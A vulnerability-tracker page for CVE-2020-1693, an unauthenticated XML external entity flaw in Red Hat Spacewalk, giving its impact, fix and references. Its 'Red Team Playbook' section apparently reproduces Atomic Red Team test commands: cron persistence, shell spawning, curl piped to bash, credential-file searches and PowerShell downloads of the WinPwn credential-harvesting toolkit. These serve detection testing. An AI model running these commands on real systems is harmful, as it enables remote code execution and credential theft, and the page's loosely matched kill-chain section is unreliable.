CVE-2020-1693
Overview
This vulnerability is an XML External Entity (XXE) injection affecting the XML parser in Red Hat Spacewalk up to version 2.9. The flaw arises from improper handling and sanitization of XML input within the /rpc/api endpoint, allowing external entity references to be processed. The affected component is the XML parser integrated into the Spacewalk server's remote procedure call API, which fails to restrict or disable external entity resolution.
Vulnerability Description
A flaw was found in Spacewalk up to version 2.9 where it was vulnerable to XML internal entity attacks via the /rpc/api endpoint. An unauthenticated remote attacker could use this flaw to retrieve the content of certain files and trigger a denial of service, or in certain circumstances, execute arbitrary code on the Spacewalk server.
Impact
An unauthenticated remote attacker can exploit this vulnerability over the network without user interaction, leveraging the /rpc/api endpoint to retrieve sensitive file contents, cause denial of service, or execute arbitrary code on the Spacewalk server. This can lead to data breaches, service outages, or full system compromise. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the attack requires no privileges or user interaction, highlighting the criticality of the flaw in exposed deployments.
Solution
Red Hat recommends upgrading Spacewalk to a patched version beyond 2.9 as detailed in Red Hat Bugzilla advisory ID 1821650 (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1693). The fix involves disabling external entity processing in the XML parser within the /rpc/api endpoint. Users should apply the vendor-provided patches from the official Spacewalk project repository commit 74e28ec61d916c42061ef4347121650a1c962b0c and follow instructions outlined in the referenced Red Hat advisory for comprehensive remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Spacewalk, a popular open-source systems management solution, arises from improper handling of XML input, specifically through the /rpc/api endpoint. This flaw allows for XML external entity (XXE) attacks, where an attacker can craft malicious XML data that the server processes. By exploiting this vulnerability, an attacker can gain access to sensitive files on the server, potentially exposing configuration files, user data, or other critical information. Furthermore, the flaw can lead to a denial of service (DoS) condition, where the server becomes unresponsive due to resource exhaustion. In some scenarios, the attacker may also execute arbitrary code on the Spacewalk server, significantly escalating the risk and impact of the attack.
The primary attack vector involves sending specially crafted XML requests to the vulnerable endpoint without requiring any form of authentication. This means that any unauthenticated remote attacker can exploit the vulnerability, making it particularly dangerous. An attacker could retrieve sensitive files such as password files or configuration settings, which could then be used for further attacks. Additionally, by leveraging the ability to execute arbitrary code, an attacker could potentially take full control of the server, leading to a complete compromise of the system. The ease of exploitation combined with the high impact of successful attacks makes this vulnerability a critical concern for organizations using Spacewalk.
The real-world impact of this vulnerability can be severe, especially for organizations that rely on Spacewalk for managing their systems. The potential for data exposure can lead to significant business risks, including loss of sensitive information, regulatory penalties, and damage to reputation. If an attacker successfully exploits this vulnerability, they could disrupt operations by causing a denial of service, leading to downtime and loss of productivity. Moreover, the ability to execute arbitrary code could allow attackers to deploy malware or create backdoors, further endangering the organization’s IT infrastructure and data integrity.
To detect and mitigate the risks associated with this vulnerability, organizations should implement several strategies. First and foremost, it is crucial to update Spacewalk to the latest version, which includes patches that address this vulnerability. Regularly applying security updates is essential for maintaining the integrity of any software. Additionally, organizations should employ web application firewalls (WAFs) to monitor and filter XML requests, blocking any suspicious or malformed input. Conducting regular security assessments and penetration testing can also help identify potential weaknesses in the system before they can be exploited by attackers.
In conclusion, the vulnerability in Spacewalk represents a significant threat due to its high CVSS score and the ease of exploitation. Organizations must take proactive measures to protect their systems by applying patches, implementing detection mechanisms, and regularly assessing their security posture. By understanding the technical details, potential attack vectors, and real-world impacts of this vulnerability, organizations can better prepare themselves to mitigate risks and safeguard their critical assets.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Redhat | Spacewalk | All |
cpe:2.3:a:redhat:spacewalk:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-221 | Data Serialization External Entities Blowup |
43%
|
— | — |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-1693 |
| bugzilla.redhat.com |
GitHub CVE
x_refsource_CONFIRM
|
https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1693 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/spacewalkproject/spacewalk/commit/74e28ec61d916c42061ef4347121650a1c962b0c |
| zeroauth.ltd |
GitHub CVE
x_refsource_MISC
|
https://zeroauth.ltd/blog/2020/02/18/proof-of-concept-exploit-for-cve-2020-1693-spacewalk/ |